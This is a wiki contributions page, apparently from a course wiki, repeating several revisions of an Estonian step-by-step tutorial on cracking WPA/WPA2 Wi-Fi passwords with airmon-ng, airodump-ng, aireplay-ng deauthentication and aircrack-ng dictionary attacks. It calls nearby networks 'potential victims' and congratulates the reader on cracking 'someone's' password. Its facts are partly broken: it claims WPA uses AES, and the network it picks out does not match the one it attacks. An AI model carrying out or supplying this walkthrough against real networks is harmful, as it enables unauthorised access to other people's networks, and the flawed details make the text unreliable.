ICO wiki - User contributions [en]

WPA kräkkimine

2012-11-13T23:36:50Z

Gratsep: /* Punkt 3. Potensiaalsete ohvrite otsimine: */

== '''Mis on WPA ja WPA2?''' ==

'''WPA (Wi-Fi Protected Access)'''- Andmeturbe protokoll Wi-Fi alliansilt IEEE 802.11 standardile vastavatele raadiokohtvõrkudele (Wi-Fi võrkudele). Siin kasutatakse TKIP (Temporal Key Integrity Protocol) protokolli, et tagada tugevamat krüpteerimist kui varasema WEP protokolli puhul (WEP kasutas RC4 algoritmi, kuid WPA kasutab AES algoritmi). WPA on tuletatud IEEE 802.11i andmeturbe standardist ning kasutab autentimiseks EAP protokolli.

'''WPA2 (Wireless Protected Access 2)''' - Traadita kohtvõrgu standardile IEEE 802.11i vastav andmeturbeprotokoll aastast 2004. On turvalisem kui vahepeal kasutatud WPA protokoll, sest kasutab krüpteerimiseks TKIP asemel märksa turvalisemat AES-põhist CCMP algoritmi. Alates 2006.a. peavad kõik Wi-Fi logoga varustatud seadmed toetama WPA2 andmeturvet.

== '''Mis on WIFI?''' ==

Wi-Fi, WiFi (Wireless Fidelity) - Raadiokohtvõrk, raadio-Ethernet Wi-Fi on WECA (Wireless Ethernet Compatibility Alliance) poolt propageeritav kaubamärk, mis vastab raadiokohtvõrgu (WLAN) standardile IEEE 802.11. Tegemist on Etherneti protokolli kasutava kohtvõrguga, kus kaablid on asendatud raadiolinkidega. WiFi on ühilduv PC-kaartidega ja WiFi logot kandvate tugijaamadega Vahel kutsutakse raadiokohtvõrke ka "traadita Internetiks", kuigi tegelikult on ikkagi tegemist traadita kohtvõrkudega, mis võivad muidugi olla ühendatud ka Internetiga.

== Kuidas kräkkida WPA'd lahti? ==

Eeldus: Backtrack 5R3 Airmong-ng'ga kokku sobiv WIFI kaart 

=== Punkt 1. Hetkeseisu tuvastamine. ===

 Käivita '''airmong-ng''', et vaadata millised on sobivad airmong-ng'ga ühilduvad wifi-kaardid. See tagastab hetkeseisu. 

*'''airmon-ng''' 

''Interface Chipset Driver''

''wlan0 Intel 1000REV=0x6C iwlwifi - [phy0]''

=== Punkt 2. Monitooringu interface'i loomine. ===

*'''airmon-ng start wlan0 '''-->väljund:''' '''

''Interface Chipset Driver''

''wlan0 Intel 1000REV=0x6C iwlwifi - [phy0] (monitor mode enabled on mon0)''

=== Punkt 3. Potensiaalsete ohvrite otsimine: ===

Otsi BSSID'd ja kanaleid

*'''airodump-ng mon0''' --> väljund:

''CH 1 ][ BAT: 1 hour 30 mins ][ Elapsed: 4 s ][ 2012-11-13 15:18 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:24:17:6A:99:95 -31 14 1 0 '''11''' 54 WPA2 CCMP PSK SeeEiOleWIFI '''20:C9:D0:19:B1:61''' -70 10 0 0 2 54e. WPA2 CCMP PSK MacBook Pro's Wi-Fi Network 64:70:02:68:BC:72 -74 13 0 0 1 54e. WPA2 CCMP PSK Data BSSID STATION PWR Rate Lost Frames Probe '' 

Ehk siis BSSID on 20:C9:D0:19:B1:61 ja asub see kanalil 11.

=== Punkt 4. Ootame ja loodame, et tekib 4way-handshake. ===

*'''airodump-ng -c 11 --bssid 00:24:17:6A:99:95 wlan0'''

Kui ei teki handshake mõistliku aja jooksul, siis on võimalik klient AP küljest lahti ühendada, et tekiks uus handshake. 

*'''aireplay-ng -0 1 -a 00:24:17:6A:99:95 -c 94:44:44:0E:5A:E1 mon0''' --> väljund: 

''15:37:25 Waiting for beacon frame (BSSID: 00:24:17:6A:99:95) on channel 11 15:37:26 Sending 64 directed DeAuth. STMAC: [94:44:44:0E:5A:E1] [25|62 ACKs]'' 

Parameetrite manuaalid on vaadatavad siin: http://linux.die.net/man/1/aireplay-ng

=== Punkt 5. Kräkkimise osa! ===

==== 5.1 Katse lühikese sõnastikuga: ====

*'''aircrack-ng -w /pentest/wireless/aircrack-ng/test/password.lst -b 00:24:17:6A:99:95 psk-0*cap '''--> väljund:''' '''

''Opening psk-01.cap Opening psk-02.cap Reading packets, please wait...''

''Aircrack-ng 1.1 r2178 [00:00:00] 233 keys tested (1532.68 k/s) Current passphrase: valhalla Master Key : B4 D8 F9 A1 70 C9 E2 3D 9C 82 7D 39 25 48 14 96 D6 DC 22 13 34 D1 05 1A EC 67 BD 5F 27 01 9C 7D''

''Transient Key : 83 CD 49 50 8F 52 1A 92 91 79 39 8C CD FC E8 6A 57 73 4A 7E CE 15 F3 BD 74 AF 2C B8 23 D1 6C 45 90 78 BA 33 94 B1 52 7B ED 69 88 74 41 0B E9 62 A4 22 A2 53 97 5C 5B 32 B8 21 50 C4 21 34 01 D9''

''EAPOL HMAC : 40 7B 06 6B C6 87 27 FB F2 FF 2B 9C A7 85 54 19''

''Passphrase not in dictionary ''

'''''Järeldus: Paroolide fail liiga lühike ja ei sisalda vajalikku parooli!''' 

==== 5.2 Juhul kui punkt 5.1 toimis ja väljund oli olemas: ====

Parool oli hoidlas olemas: root@bt:~# aircrack-ng -w /pentest/wireless/aircrack-ng/test/password.lst -b 00:24:17:6A:99:95 psk-0*cap ''Opening psk-01.cap Opening psk-02.cap Reading packets, please wait...''

''Aircrack-ng 1.1 r2178 [00:00:00] 233 keys tested (1474.16 k/s) KEY FOUND! ['''hackit123''' ] Master Key : 52 06 5C A9 B9 79 95 44 62 0B E7 66 2D 62 64 7B 35 D3 A5 06 61 D7 23 71 5C 23 20 C6 64 E8 A6 C9''

''Transient Key : 49 B3 7A 6A B0 96 64 19 D2 97 46 03 50 72 68 4F EF F2 D6 21 C0 AB A8 1B 49 43 9E 21 96 E3 76 9C 87 25 79 1D 35 B1 75 E6 C6 44 0D 5B 9D 18 69 9F 32 1D 67 EB DB 48 50 99 00 AB 22 F7 82 22 54 77''

''EAPOL HMAC : 80 89 8F 6F 3A 28 14 48 1A 7B 13 B3 0E 3F 30 E4 ''

 

Palju õnne! Oled suutnud lahti kräkkida kellegi WIFI parooli. Troubleshootide juhendid leiad aadressil [http://www.aircrack-ng.org/doku.php?id=cracking_wpa | http://www.aircrack-ng.org/doku.php?id=cracking_wpa] 

PS! Kui parooli sõnaraamatus ei olnud, siis tuleks hankida kuskilt suurem või genereerida johntheripper-ga, suurte sõnaraamatute tekitamine võtab kaua aega ning nende läbi proovimine omakorda väga kaua aega, kõik sõltub arvuti protsessori kiirusest.

Kasutatud materjalid: 

[[Www.vallaste.ee|http://www.vallaste.ee]] [[Www.aircrack-ng.org|http://www.aircrack-ng.org/doku.php?id=cracking_wpa ]] [[Www.petenetlive.com|http://www.petenetlive.com/KB/Article/0000633.htm ]] 

''' Autor: Gertti-Vena Rätsep'''

 

[[Category:Traadita_side_alused]]

WPA kräkkimine

2012-11-13T20:15:02Z

Gratsep:

== '''Mis on WPA ja WPA2?''' ==

'''WPA (Wi-Fi Protected Access)'''- Andmeturbe protokoll Wi-Fi alliansilt IEEE 802.11 standardile vastavatele raadiokohtvõrkudele (Wi-Fi võrkudele). Siin kasutatakse TKIP (Temporal Key Integrity Protocol) protokolli, et tagada tugevamat krüpteerimist kui varasema WEP protokolli puhul (WEP kasutas RC4 algoritmi, kuid WPA kasutab AES algoritmi). WPA on tuletatud IEEE 802.11i andmeturbe standardist ning kasutab autentimiseks EAP protokolli.

'''WPA2 (Wireless Protected Access 2)''' - Traadita kohtvõrgu standardile IEEE 802.11i vastav andmeturbeprotokoll aastast 2004. On turvalisem kui vahepeal kasutatud WPA protokoll, sest kasutab krüpteerimiseks TKIP asemel märksa turvalisemat AES-põhist CCMP algoritmi. Alates 2006.a. peavad kõik Wi-Fi logoga varustatud seadmed toetama WPA2 andmeturvet.

== '''Mis on WIFI?''' ==

Wi-Fi, WiFi (Wireless Fidelity) - Raadiokohtvõrk, raadio-Ethernet Wi-Fi on WECA (Wireless Ethernet Compatibility Alliance) poolt propageeritav kaubamärk, mis vastab raadiokohtvõrgu (WLAN) standardile IEEE 802.11. Tegemist on Etherneti protokolli kasutava kohtvõrguga, kus kaablid on asendatud raadiolinkidega. WiFi on ühilduv PC-kaartidega ja WiFi logot kandvate tugijaamadega Vahel kutsutakse raadiokohtvõrke ka "traadita Internetiks", kuigi tegelikult on ikkagi tegemist traadita kohtvõrkudega, mis võivad muidugi olla ühendatud ka Internetiga.

== Kuidas kräkkida WPA'd lahti? ==

Eeldus: Backtrack 5R3 Airmong-ng'ga kokku sobiv WIFI kaart 

=== Punkt 1. Hetkeseisu tuvastamine. ===

 Käivita '''airmong-ng''', et vaadata millised on sobivad airmong-ng'ga ühilduvad wifi-kaardid. See tagastab hetkeseisu. 

*'''airmon-ng''' 

''Interface Chipset Driver''

''wlan0 Intel 1000REV=0x6C iwlwifi - [phy0]''

=== Punkt 2. Monitooringu interface'i loomine. ===

*'''airmon-ng start wlan0 '''-->väljund:''' '''

''Interface Chipset Driver''

''wlan0 Intel 1000REV=0x6C iwlwifi - [phy0] (monitor mode enabled on mon0)''

=== Punkt 3. Potensiaalsete ohvrite otsimine: ===

Otsime BSSID'd ja kanaleid

*'''airodump-ng mon0''' --> väljund:

''CH 1 ][ BAT: 1 hour 30 mins ][ Elapsed: 4 s ][ 2012-11-13 15:18 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:24:17:6A:99:95 -31 14 1 0 '''11''' 54 WPA2 CCMP PSK SeeEiOleWIFI '''20:C9:D0:19:B1:61''' -70 10 0 0 2 54e. WPA2 CCMP PSK MacBook Pro's Wi-Fi Network 64:70:02:68:BC:72 -74 13 0 0 1 54e. WPA2 CCMP PSK Data BSSID STATION PWR Rate Lost Frames Probe '' 

Ehk siis BSSID on 20:C9:D0:19:B1:61 ja asub see kanalil 11.

=== Punkt 4. Ootame ja loodame, et tekib 4way-handshake. ===

*'''airodump-ng -c 11 --bssid 00:24:17:6A:99:95 wlan0'''

Kui ei teki handshake mõistliku aja jooksul, siis on võimalik klient AP küljest lahti ühendada, et tekiks uus handshake. 

*'''aireplay-ng -0 1 -a 00:24:17:6A:99:95 -c 94:44:44:0E:5A:E1 mon0''' --> väljund: 

''15:37:25 Waiting for beacon frame (BSSID: 00:24:17:6A:99:95) on channel 11 15:37:26 Sending 64 directed DeAuth. STMAC: [94:44:44:0E:5A:E1] [25|62 ACKs]'' 

Parameetrite manuaalid on vaadatavad siin: http://linux.die.net/man/1/aireplay-ng

=== Punkt 5. Kräkkimise osa! ===

==== 5.1 Katse lühikese sõnastikuga: ====

*'''aircrack-ng -w /pentest/wireless/aircrack-ng/test/password.lst -b 00:24:17:6A:99:95 psk-0*cap '''--> väljund:''' '''

''Opening psk-01.cap Opening psk-02.cap Reading packets, please wait...''

''Aircrack-ng 1.1 r2178 [00:00:00] 233 keys tested (1532.68 k/s) Current passphrase: valhalla Master Key : B4 D8 F9 A1 70 C9 E2 3D 9C 82 7D 39 25 48 14 96 D6 DC 22 13 34 D1 05 1A EC 67 BD 5F 27 01 9C 7D''

''Transient Key : 83 CD 49 50 8F 52 1A 92 91 79 39 8C CD FC E8 6A 57 73 4A 7E CE 15 F3 BD 74 AF 2C B8 23 D1 6C 45 90 78 BA 33 94 B1 52 7B ED 69 88 74 41 0B E9 62 A4 22 A2 53 97 5C 5B 32 B8 21 50 C4 21 34 01 D9''

''EAPOL HMAC : 40 7B 06 6B C6 87 27 FB F2 FF 2B 9C A7 85 54 19''

''Passphrase not in dictionary ''

'''''Järeldus: Paroolide fail liiga lühike ja ei sisalda vajalikku parooli!''' 

==== 5.2 Juhul kui punkt 5.1 toimis ja väljund oli olemas: ====

Parool oli hoidlas olemas: root@bt:~# aircrack-ng -w /pentest/wireless/aircrack-ng/test/password.lst -b 00:24:17:6A:99:95 psk-0*cap ''Opening psk-01.cap Opening psk-02.cap Reading packets, please wait...''

''Aircrack-ng 1.1 r2178 [00:00:00] 233 keys tested (1474.16 k/s) KEY FOUND! ['''hackit123''' ] Master Key : 52 06 5C A9 B9 79 95 44 62 0B E7 66 2D 62 64 7B 35 D3 A5 06 61 D7 23 71 5C 23 20 C6 64 E8 A6 C9''

''Transient Key : 49 B3 7A 6A B0 96 64 19 D2 97 46 03 50 72 68 4F EF F2 D6 21 C0 AB A8 1B 49 43 9E 21 96 E3 76 9C 87 25 79 1D 35 B1 75 E6 C6 44 0D 5B 9D 18 69 9F 32 1D 67 EB DB 48 50 99 00 AB 22 F7 82 22 54 77''

''EAPOL HMAC : 80 89 8F 6F 3A 28 14 48 1A 7B 13 B3 0E 3F 30 E4 ''

 

Palju õnne! Oled suutnud lahti kräkkida kellegi WIFI parooli. Troubleshootide juhendid leiad aadressil [http://www.aircrack-ng.org/doku.php?id=cracking_wpa | http://www.aircrack-ng.org/doku.php?id=cracking_wpa] 

PS! Kui parooli sõnaraamatus ei olnud, siis tuleks hankida kuskilt suurem või genereerida johntheripper-ga, suurte sõnaraamatute tekitamine võtab kaua aega ning nende läbi proovimine omakorda väga kaua aega, kõik sõltub arvuti protsessori kiirusest.

Kasutatud materjalid: 

[[Www.vallaste.ee|http://www.vallaste.ee]] [[Www.aircrack-ng.org|http://www.aircrack-ng.org/doku.php?id=cracking_wpa ]] [[Www.petenetlive.com|http://www.petenetlive.com/KB/Article/0000633.htm ]] 

''' Autor: Gertti-Vena Rätsep'''

 

[[Category:Traadita_side_alused]]

WPA kräkkimine

2012-11-13T20:12:11Z

Gratsep: /* 5.2 Juhul kui punkt 5.1 toimis ja väljund oli olemas: */

== '''Mis on WPA ja WPA2?''' ==

'''WPA (Wi-Fi Protected Access)'''- Andmeturbe protokoll Wi-Fi alliansilt IEEE 802.11 standardile vastavatele raadiokohtvõrkudele (Wi-Fi võrkudele). Siin kasutatakse TKIP (Temporal Key Integrity Protocol) protokolli, et tagada tugevamat krüpteerimist kui varasema WEP protokolli puhul (WEP kasutas RC4 algoritmi, kuid WPA kasutab AES algoritmi). WPA on tuletatud IEEE 802.11i andmeturbe standardist ning kasutab autentimiseks EAP protokolli.

'''WPA2 (Wireless Protected Access 2)''' - Traadita kohtvõrgu standardile IEEE 802.11i vastav andmeturbeprotokoll aastast 2004. On turvalisem kui vahepeal kasutatud WPA protokoll, sest kasutab krüpteerimiseks TKIP asemel märksa turvalisemat AES-põhist CCMP algoritmi. Alates 2006.a. peavad kõik Wi-Fi logoga varustatud seadmed toetama WPA2 andmeturvet.

== '''Mis on WIFI?''' ==

Wi-Fi, WiFi (Wireless Fidelity) - Raadiokohtvõrk, raadio-Ethernet Wi-Fi on WECA (Wireless Ethernet Compatibility Alliance) poolt propageeritav kaubamärk, mis vastab raadiokohtvõrgu (WLAN) standardile IEEE 802.11. Tegemist on Etherneti protokolli kasutava kohtvõrguga, kus kaablid on asendatud raadiolinkidega. WiFi on ühilduv PC-kaartidega ja WiFi logot kandvate tugijaamadega Vahel kutsutakse raadiokohtvõrke ka "traadita Internetiks", kuigi tegelikult on ikkagi tegemist traadita kohtvõrkudega, mis võivad muidugi olla ühendatud ka Internetiga.

== Kuidas kräkkida WPA'd lahti? ==
Eeldus:
Backtrack 5R3 
Airmong-ng'ga kokku sobiv WIFI kaart 

=== Punkt 1. Hetkeseisu tuvastamine. ===

 Käivita '''airmong-ng''', et vaadata millised on sobivad airmong-ng'ga ühilduvad wifi-kaardid. See tagastab hetkeseisu. 

*'''airmon-ng''' 

''Interface Chipset Driver''

''wlan0 Intel 1000REV=0x6C iwlwifi - [phy0]''

=== Punkt 2. Monitooringu interface'i loomine. ===

*'''airmon-ng start wlan0 '''-->väljund:''' '''

''Interface Chipset Driver''

''wlan0 Intel 1000REV=0x6C iwlwifi - [phy0] (monitor mode enabled on mon0)''

=== Punkt 3. Potensiaalsete ohvrite otsimine: ===

Otsime BSSID'd ja kanaleid
*'''airodump-ng mon0''' --> väljund:

''CH 1 ][ BAT: 1 hour 30 mins ][ Elapsed: 4 s ][ 2012-11-13 15:18 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:24:17:6A:99:95 -31 14 1 0 '''11''' 54 WPA2 CCMP PSK SeeEiOleWIFI '''20:C9:D0:19:B1:61''' -70 10 0 0 2 54e. WPA2 CCMP PSK MacBook Pro's Wi-Fi Network 64:70:02:68:BC:72 -74 13 0 0 1 54e. WPA2 CCMP PSK Data BSSID STATION PWR Rate Lost Frames Probe '' 

Ehk siis BSSID on 20:C9:D0:19:B1:61 ja asub see kanalil 11.

=== Punkt 4. Ootame ja loodame, et tekib 4way-handshake. ===

*'''airodump-ng -c 11 --bssid 00:24:17:6A:99:95 wlan0'''

Kui ei teki handshake mõistliku aja jooksul, siis on võimalik klient AP küljest lahti ühendada, et tekiks uus handshake. 

*'''aireplay-ng -0 1 -a 00:24:17:6A:99:95 -c 94:44:44:0E:5A:E1 mon0''' --> väljund: 

''15:37:25 Waiting for beacon frame (BSSID: 00:24:17:6A:99:95) on channel 11 15:37:26 Sending 64 directed DeAuth. STMAC: [94:44:44:0E:5A:E1] [25|62 ACKs]'' 

Parameetrite manuaalid on vaadatavad siin: http://linux.die.net/man/1/aireplay-ng

=== Punkt 5. Kräkkimise osa! ===

==== 5.1 Katse lühikese sõnastikuga: ====

*'''aircrack-ng -w /pentest/wireless/aircrack-ng/test/password.lst -b 00:24:17:6A:99:95 psk-0*cap '''--> väljund:''' '''

Opening psk-01.cap Opening psk-02.cap Reading packets, please wait...

Aircrack-ng 1.1 r2178 [00:00:00] 233 keys tested (1532.68 k/s) Current passphrase: valhalla Master Key : B4 D8 F9 A1 70 C9 E2 3D 9C 82 7D 39 25 48 14 96 D6 DC 22 13 34 D1 05 1A EC 67 BD 5F 27 01 9C 7D

Transient Key : 83 CD 49 50 8F 52 1A 92 91 79 39 8C CD FC E8 6A 57 73 4A 7E CE 15 F3 BD 74 AF 2C B8 23 D1 6C 45 90 78 BA 33 94 B1 52 7B ED 69 88 74 41 0B E9 62 A4 22 A2 53 97 5C 5B 32 B8 21 50 C4 21 34 01 D9

EAPOL HMAC : 40 7B 06 6B C6 87 27 FB F2 FF 2B 9C A7 85 54 19

Passphrase not in dictionary 

'''Järeldus: Paroolide fail liiga lühike ja ei sisalda vajalikku parooli!''' 

==== 5.2 Juhul kui punkt 5.1 toimis ja väljund oli olemas: ====

Parool oli hoidlas olemas: root@bt:~# aircrack-ng -w /pentest/wireless/aircrack-ng/test/password.lst -b 00:24:17:6A:99:95 psk-0*cap Opening psk-01.cap Opening psk-02.cap Reading packets, please wait...

Aircrack-ng 1.1 r2178 [00:00:00] 233 keys tested (1474.16 k/s) KEY FOUND! ['''hackit123''' ] Master Key : 52 06 5C A9 B9 79 95 44 62 0B E7 66 2D 62 64 7B 35 D3 A5 06 61 D7 23 71 5C 23 20 C6 64 E8 A6 C9

Transient Key : 49 B3 7A 6A B0 96 64 19 D2 97 46 03 50 72 68 4F EF F2 D6 21 C0 AB A8 1B 49 43 9E 21 96 E3 76 9C 87 25 79 1D 35 B1 75 E6 C6 44 0D 5B 9D 18 69 9F 32 1D 67 EB DB 48 50 99 00 AB 22 F7 82 22 54 77

EAPOL HMAC : 80 89 8F 6F 3A 28 14 48 1A 7B 13 B3 0E 3F 30 E4 

Palju õnne! Oled suutnud lahti kräkkida kellegi WIFI parooli. 
Troubleshootide juhendid leiad aadressil [http://www.aircrack-ng.org/doku.php?id=cracking_wpa | http://www.aircrack-ng.org/doku.php?id=cracking_wpa] 

PS! Kui parooli sõnaraamatus ei olnud, siis tuleks hankida kuskilt suurem või genereerida johntheripper-ga, suurte sõnaraamatute tekitamine võtab kaua aega ning nende läbi proovimine omakorda väga kaua aega, kõik sõltub arvuti protsessori kiirusest.

Kasutatud materjalid: 

[[www.vallaste.ee|http://www.vallaste.ee]] [[www.aircrack-ng.org|http://www.aircrack-ng.org/doku.php?id=cracking_wpa ]] [[www.petenetlive.com|http://www.petenetlive.com/KB/Article/0000633.htm ]] 

''' Autor: Gertti-Vena Rätsep'''

 

[[Category:Traadita_side_alused]]

WPA kräkkimine

2012-11-13T20:11:36Z

Gratsep: /* 5.2 Juhul kui punkt 5.1 toimis ja väljund oli olemas: */

== '''Mis on WPA ja WPA2?''' ==

'''WPA (Wi-Fi Protected Access)'''- Andmeturbe protokoll Wi-Fi alliansilt IEEE 802.11 standardile vastavatele raadiokohtvõrkudele (Wi-Fi võrkudele). Siin kasutatakse TKIP (Temporal Key Integrity Protocol) protokolli, et tagada tugevamat krüpteerimist kui varasema WEP protokolli puhul (WEP kasutas RC4 algoritmi, kuid WPA kasutab AES algoritmi). WPA on tuletatud IEEE 802.11i andmeturbe standardist ning kasutab autentimiseks EAP protokolli.

'''WPA2 (Wireless Protected Access 2)''' - Traadita kohtvõrgu standardile IEEE 802.11i vastav andmeturbeprotokoll aastast 2004. On turvalisem kui vahepeal kasutatud WPA protokoll, sest kasutab krüpteerimiseks TKIP asemel märksa turvalisemat AES-põhist CCMP algoritmi. Alates 2006.a. peavad kõik Wi-Fi logoga varustatud seadmed toetama WPA2 andmeturvet.

== '''Mis on WIFI?''' ==

Wi-Fi, WiFi (Wireless Fidelity) - Raadiokohtvõrk, raadio-Ethernet Wi-Fi on WECA (Wireless Ethernet Compatibility Alliance) poolt propageeritav kaubamärk, mis vastab raadiokohtvõrgu (WLAN) standardile IEEE 802.11. Tegemist on Etherneti protokolli kasutava kohtvõrguga, kus kaablid on asendatud raadiolinkidega. WiFi on ühilduv PC-kaartidega ja WiFi logot kandvate tugijaamadega Vahel kutsutakse raadiokohtvõrke ka "traadita Internetiks", kuigi tegelikult on ikkagi tegemist traadita kohtvõrkudega, mis võivad muidugi olla ühendatud ka Internetiga.

== Kuidas kräkkida WPA'd lahti? ==
Eeldus:
Backtrack 5R3 
Airmong-ng'ga kokku sobiv WIFI kaart 

=== Punkt 1. Hetkeseisu tuvastamine. ===

 Käivita '''airmong-ng''', et vaadata millised on sobivad airmong-ng'ga ühilduvad wifi-kaardid. See tagastab hetkeseisu. 

*'''airmon-ng''' 

''Interface Chipset Driver''

''wlan0 Intel 1000REV=0x6C iwlwifi - [phy0]''

=== Punkt 2. Monitooringu interface'i loomine. ===

*'''airmon-ng start wlan0 '''-->väljund:''' '''

''Interface Chipset Driver''

''wlan0 Intel 1000REV=0x6C iwlwifi - [phy0] (monitor mode enabled on mon0)''

=== Punkt 3. Potensiaalsete ohvrite otsimine: ===

Otsime BSSID'd ja kanaleid
*'''airodump-ng mon0''' --> väljund:

''CH 1 ][ BAT: 1 hour 30 mins ][ Elapsed: 4 s ][ 2012-11-13 15:18 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:24:17:6A:99:95 -31 14 1 0 '''11''' 54 WPA2 CCMP PSK SeeEiOleWIFI '''20:C9:D0:19:B1:61''' -70 10 0 0 2 54e. WPA2 CCMP PSK MacBook Pro's Wi-Fi Network 64:70:02:68:BC:72 -74 13 0 0 1 54e. WPA2 CCMP PSK Data BSSID STATION PWR Rate Lost Frames Probe '' 

Ehk siis BSSID on 20:C9:D0:19:B1:61 ja asub see kanalil 11.

=== Punkt 4. Ootame ja loodame, et tekib 4way-handshake. ===

*'''airodump-ng -c 11 --bssid 00:24:17:6A:99:95 wlan0'''

Kui ei teki handshake mõistliku aja jooksul, siis on võimalik klient AP küljest lahti ühendada, et tekiks uus handshake. 

*'''aireplay-ng -0 1 -a 00:24:17:6A:99:95 -c 94:44:44:0E:5A:E1 mon0''' --> väljund: 

''15:37:25 Waiting for beacon frame (BSSID: 00:24:17:6A:99:95) on channel 11 15:37:26 Sending 64 directed DeAuth. STMAC: [94:44:44:0E:5A:E1] [25|62 ACKs]'' 

Parameetrite manuaalid on vaadatavad siin: http://linux.die.net/man/1/aireplay-ng

=== Punkt 5. Kräkkimise osa! ===

==== 5.1 Katse lühikese sõnastikuga: ====

*'''aircrack-ng -w /pentest/wireless/aircrack-ng/test/password.lst -b 00:24:17:6A:99:95 psk-0*cap '''--> väljund:''' '''

Opening psk-01.cap Opening psk-02.cap Reading packets, please wait...

Aircrack-ng 1.1 r2178 [00:00:00] 233 keys tested (1532.68 k/s) Current passphrase: valhalla Master Key : B4 D8 F9 A1 70 C9 E2 3D 9C 82 7D 39 25 48 14 96 D6 DC 22 13 34 D1 05 1A EC 67 BD 5F 27 01 9C 7D

Transient Key : 83 CD 49 50 8F 52 1A 92 91 79 39 8C CD FC E8 6A 57 73 4A 7E CE 15 F3 BD 74 AF 2C B8 23 D1 6C 45 90 78 BA 33 94 B1 52 7B ED 69 88 74 41 0B E9 62 A4 22 A2 53 97 5C 5B 32 B8 21 50 C4 21 34 01 D9

EAPOL HMAC : 40 7B 06 6B C6 87 27 FB F2 FF 2B 9C A7 85 54 19

Passphrase not in dictionary 

'''Järeldus: Paroolide fail liiga lühike ja ei sisalda vajalikku parooli!''' 

==== 5.2 Juhul kui punkt 5.1 toimis ja väljund oli olemas: ====

Parool oli hoidlas olemas: root@bt:~# aircrack-ng -w /pentest/wireless/aircrack-ng/test/password.lst -b 00:24:17:6A:99:95 psk-0*cap Opening psk-01.cap Opening psk-02.cap Reading packets, please wait...

Aircrack-ng 1.1 r2178 [00:00:00] 233 keys tested (1474.16 k/s) KEY FOUND! ['''hackit123''' ] Master Key : 52 06 5C A9 B9 79 95 44 62 0B E7 66 2D 62 64 7B 35 D3 A5 06 61 D7 23 71 5C 23 20 C6 64 E8 A6 C9

Transient Key : 49 B3 7A 6A B0 96 64 19 D2 97 46 03 50 72 68 4F EF F2 D6 21 C0 AB A8 1B 49 43 9E 21 96 E3 76 9C 87 25 79 1D 35 B1 75 E6 C6 44 0D 5B 9D 18 69 9F 32 1D 67 EB DB 48 50 99 00 AB 22 F7 82 22 54 77

EAPOL HMAC : 80 89 8F 6F 3A 28 14 48 1A 7B 13 B3 0E 3F 30 E4 

Palju õnne! Oled suutnud lahti kräkkida kellegi WIFI parooli. 
Troubleshootide juhendid leiad aadressil [http://www.aircrack-ng.org/doku.php?id=cracking_wpa | http://www.aircrack-ng.org/doku.php?id=cracking_wpa] 

PS! Kui parooli sõnaraamatus ei olnud, siis tuleks hankida kuskilt suurem või genereerida johntheripper-ga, suurte sõnaraamatute tekitamine võtab kaua aega ning nende läbi proovimine omakorda väga kaua aega, kõik sõltub arvuti protsessori kiirusest.

Kasutatud materjalid: 

[[www.vallaste.ee|www.vallaste.ee]] [[www.aircrack-ng.org|http://www.aircrack-ng.org/doku.php?id=cracking_wpa ]] [[www.petenetlive.com|http://www.petenetlive.com/KB/Article/0000633.htm ]] 

''' Autor: Gertti-Vena Rätsep'''

 

[[Category:Traadita_side_alused]]

WPA kräkkimine

2012-11-13T20:10:27Z

Gratsep:

== '''Mis on WPA ja WPA2?''' ==

'''WPA (Wi-Fi Protected Access)'''- Andmeturbe protokoll Wi-Fi alliansilt IEEE 802.11 standardile vastavatele raadiokohtvõrkudele (Wi-Fi võrkudele). Siin kasutatakse TKIP (Temporal Key Integrity Protocol) protokolli, et tagada tugevamat krüpteerimist kui varasema WEP protokolli puhul (WEP kasutas RC4 algoritmi, kuid WPA kasutab AES algoritmi). WPA on tuletatud IEEE 802.11i andmeturbe standardist ning kasutab autentimiseks EAP protokolli.

'''WPA2 (Wireless Protected Access 2)''' - Traadita kohtvõrgu standardile IEEE 802.11i vastav andmeturbeprotokoll aastast 2004. On turvalisem kui vahepeal kasutatud WPA protokoll, sest kasutab krüpteerimiseks TKIP asemel märksa turvalisemat AES-põhist CCMP algoritmi. Alates 2006.a. peavad kõik Wi-Fi logoga varustatud seadmed toetama WPA2 andmeturvet.

== '''Mis on WIFI?''' ==

Wi-Fi, WiFi (Wireless Fidelity) - Raadiokohtvõrk, raadio-Ethernet Wi-Fi on WECA (Wireless Ethernet Compatibility Alliance) poolt propageeritav kaubamärk, mis vastab raadiokohtvõrgu (WLAN) standardile IEEE 802.11. Tegemist on Etherneti protokolli kasutava kohtvõrguga, kus kaablid on asendatud raadiolinkidega. WiFi on ühilduv PC-kaartidega ja WiFi logot kandvate tugijaamadega Vahel kutsutakse raadiokohtvõrke ka "traadita Internetiks", kuigi tegelikult on ikkagi tegemist traadita kohtvõrkudega, mis võivad muidugi olla ühendatud ka Internetiga.

== Kuidas kräkkida WPA'd lahti? ==
Eeldus:
Backtrack 5R3 
Airmong-ng'ga kokku sobiv WIFI kaart 

=== Punkt 1. Hetkeseisu tuvastamine. ===

 Käivita '''airmong-ng''', et vaadata millised on sobivad airmong-ng'ga ühilduvad wifi-kaardid. See tagastab hetkeseisu. 

*'''airmon-ng''' 

''Interface Chipset Driver''

''wlan0 Intel 1000REV=0x6C iwlwifi - [phy0]''

=== Punkt 2. Monitooringu interface'i loomine. ===

*'''airmon-ng start wlan0 '''-->väljund:''' '''

''Interface Chipset Driver''

''wlan0 Intel 1000REV=0x6C iwlwifi - [phy0] (monitor mode enabled on mon0)''

=== Punkt 3. Potensiaalsete ohvrite otsimine: ===

Otsime BSSID'd ja kanaleid
*'''airodump-ng mon0''' --> väljund:

''CH 1 ][ BAT: 1 hour 30 mins ][ Elapsed: 4 s ][ 2012-11-13 15:18 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:24:17:6A:99:95 -31 14 1 0 '''11''' 54 WPA2 CCMP PSK SeeEiOleWIFI '''20:C9:D0:19:B1:61''' -70 10 0 0 2 54e. WPA2 CCMP PSK MacBook Pro's Wi-Fi Network 64:70:02:68:BC:72 -74 13 0 0 1 54e. WPA2 CCMP PSK Data BSSID STATION PWR Rate Lost Frames Probe '' 

Ehk siis BSSID on 20:C9:D0:19:B1:61 ja asub see kanalil 11.

=== Punkt 4. Ootame ja loodame, et tekib 4way-handshake. ===

*'''airodump-ng -c 11 --bssid 00:24:17:6A:99:95 wlan0'''

Kui ei teki handshake mõistliku aja jooksul, siis on võimalik klient AP küljest lahti ühendada, et tekiks uus handshake. 

